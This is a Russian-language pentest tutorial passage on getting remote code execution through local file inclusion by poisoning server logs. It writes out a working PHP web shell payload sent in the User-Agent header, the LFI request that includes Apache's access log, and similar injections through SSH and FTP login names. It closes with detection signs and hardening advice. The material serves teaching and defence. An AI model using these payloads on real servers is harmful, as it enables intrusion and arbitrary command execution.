Теория: Если мы можем читать логи сервера через LFI и влиять на их содержимое (например, через User-Agent), то, подсунув туда PHP-код и подключив через LFI, мы заставим сервер его выполнить . Практика для Apache: 1. Отправляем запрос с PHP-кодом в User-Agent: curl --user-agent "<?php system(&#092;&#036;_GET['cmd']); ?>" http://target.com/ 2. Теперь через LFI подключаем лог: http://target.com/page.php?file=/var/log/apache2/access.log&cmd=id Сервер выполнит id и вернет результат . Для Nginx — пути похожи: - /var/log/nginx/access.log - /var/log/nginx/error.log Для SSH: ssh '<?php phpinfo(); ?>'@target.com Фейковый логин запишется в /var/log/auth.log. Если есть LFI, подключаем его и получаем выполнение кода . Для FTP: ftp target.com > user '<?php system(&#036;_GET['cmd']); ?>' Логин запишется в /var/log/vsftpd.log . 🕵️ Обнаружение и защита Как найти веб-шелл: - Подозрительные файлы в веб-директориях (особенно с необычными именами) - Аномальная нагрузка на сервер (хакеры часто качают большие объемы) - Необычные записи в access.log (GET-параметры с cmd=whoami) - Файлы с датами, не совпадающими с остальными Как защититься: 1. Обновляйте все — патчи для сервера, CMS, плагинов 2. Не доверяйте загрузкам — храните файлы вне webroot, давайте случайные имена 3. Отключайте опасные функции в PHP (disable_functions = system, exec, shell_exec) 4. Следите за логами и настройте File Integrity Monitoring 5. Правило белого списка для включаемых файлов вместо черного 6. WAF — веб-фаерволы умеют блокировать типовые шеллы 💡 Выводы Веб-шелл — это не просто файл, а целая философия закрепления в системе. Самые опасные — "бестелесные", которые живут только в памяти процесса и исчезают после перезапуска . Но даже классические PHP-шеллы до сих пор работают, потому что разработчики забывают закрывать дыры. Главное правило пентестера: всегда проверяйте легальность своих действий. Информация предоставлена исключительно в образовательных целях .